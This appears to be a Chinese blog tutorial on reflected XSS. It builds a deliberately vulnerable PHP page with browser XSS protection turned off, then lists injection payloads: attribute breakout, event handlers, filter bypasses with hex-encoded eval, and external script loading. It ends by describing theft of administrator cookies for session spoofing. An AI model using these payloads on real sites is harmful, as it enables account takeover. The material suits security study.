javascript
XSS的原理分析與解剖php
前端安全 -- XSS攻擊html
XSS 是面試時,hr提出來給個人,而後大致的瀏覽一遍,今天才查閱資料大致瞭解了它。java
XSS 攻擊:攻擊者向HTML頁面傳入惡意的HTML或JS代碼,當用戶瀏覽該頁面時,惡意代碼執行,達到攻擊的目的。web
在本地搭建PHP環境(使用phpstudy安裝),而後在index.php
文件中輸入一下代碼:面試
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重現</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> <?php header("X-XSS-Protection: 0"); // 0: 表示關閉瀏覽器的XSS防禦機制 error_reporting(0); // 加上error_reporting(0);就不會彈出警告了 $xss = $_GET['xss_input']; echo '<h5>你輸入的字符爲</h5><br />'.$xss; ?> </body> </html>
瀏覽器
以後查看頁面代碼,就會發現頁面上多了一行代碼:安全
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重現</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> /*------多了的代碼:123-------*/ <h5>你輸入的字符爲</h5><br />123</body> </html>
cookie
如今頁面就顯現出xss漏洞了。
以後查看頁面代碼,就會發現頁面上多了一行代碼:
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS原理重現</title> </head> <body> <form action="" method="get"> <input type="text" name="xss_input"> <input type="submit"> </form> <hr> /*------多了的代碼:<script>alert('xss')</script>-------*/ // 代碼出如今 br標籤 和 body標籤中 <h5>你輸入的字符爲</h5><br /><script>alert('xss')</script></body> </html>
如今我要改變 xss 攻擊:
以上測試是在,標籤中插入scrpit
標籤達到攻擊的目的;如今我想要在html頁面標籤
的屬性中插入xss攻擊代碼。所以,當你我輸入<script>alert('xss')</script>
,不會顯示出彈框了。
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>XSS利用輸出的環境來構造代碼</title> </head> <body> <center> <h6>把咱們輸入的字符串 輸出到input裏的value屬性裏</h6> <form action="" method="get"> <h6>請輸入你想顯現的字符串</h6> <input type="text" name="xss_input_value" value="輸入"><br> <input type="submit"> </form> <hr> <?php header("X-XSS-Protection: 0"); error_reporting(0);//加上error_reporting(0);就不會彈出警告了 $xss = $_GET['xss_input_value']; if(isset($xss)){ echo '<input type="text" value="'.$xss.'">'; }else{ echo '<input type="type" value="輸出">'; } ?> </center> </body> </html>
頁面效果:
當我在輸入框輸入qwer
字符串時,會在輸出框顯示我輸入的字符串:
此時網頁代碼:
<center> <h6>把咱們輸入的字符串 輸出到input裏的value屬性裏</h6> <form action="" method="get"> <h6>請輸入你想顯現的字符串</h6> <input type="text" name="xss_input_value" value="輸入"><br> <input type="submit"> </form> <hr> <input type="text" value="qwer"> </center>
如今我輸入<script>alert('xss')</script>
,字符串正常輸入,明顯的能夠看到,並無彈出對話框:
此時網頁代碼:
<body> <center> <h6>把咱們輸入的字符串 輸出到input裏的value屬性裏</h6> <form action="" method="get"> <h6>請輸入你想顯現的字符串</h6> <input type="text" name="xss_input_value" value="輸入"><br> <input type="submit"> </form> <hr> <input type="text" value="<script>alert('xss')</script>"> </center> </body>
分析輸出代碼:
<input type="text" value="<script>alert('xss')</script>"> </center>
若是我輸入">
,就會變成:
<input type="text" value=""> "> </center>
若是我輸入:"><script>alert('xss')</script>
顯示效果:
如今我不想顯示彈框攻擊了,我想觸發某種事件實現攻擊,那麼就輸入如下內容:
" onmousemove="alert('我就測試一下')"
顯示結果:
頁面代碼:
<center> <h6>把咱們輸入的字符串 輸出到input裏的value屬性裏</h6> <form action="" method="get"> <h6>請輸入你想顯現的字符串</h6> <input type="text" name="xss_input_value" value="輸入"><br> <input type="submit"> </form> <hr> <input type="text" value="" onmousemove="alert('我就測試一下')""> </center>
那麼,我在<textarea> 標籤中顯示呢?
此時就這樣輸入:
</textarea> <script>alert(‘xss’)</script> // 就能夠實現彈窗了
假如說網站禁止過濾了script 這時該怎麼辦呢 ?
那麼就須要記住:只要頁面能觸發你的js代碼
有哪些方法呢?
<!-- 當找不到圖片名爲1的文件時,執行alert('xss') --> <img scr=1 onerror=alert('xss')> <!-- 點擊s時運行alert('xss') --> <a href=javascrip:alert('xss')>s</a> <!-- 利用iframe的scr來彈窗 --> <iframe src=javascript:alert('xss');height=0 width=0 /><iframe> <!-- 過濾了alert來執行彈窗 --> <img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<script scr="js_url"></script> <img src=x onerror=appendChild(createElement('script')).src='js_url' />
當管理員進後臺瀏覽留言的時候,就會觸發
而後管理員的cookies和後臺地址還有管理員瀏覽器版本等等
你均可以獲取到了,再用「桂林老兵cookie欺騙工具」來更改你的cookies,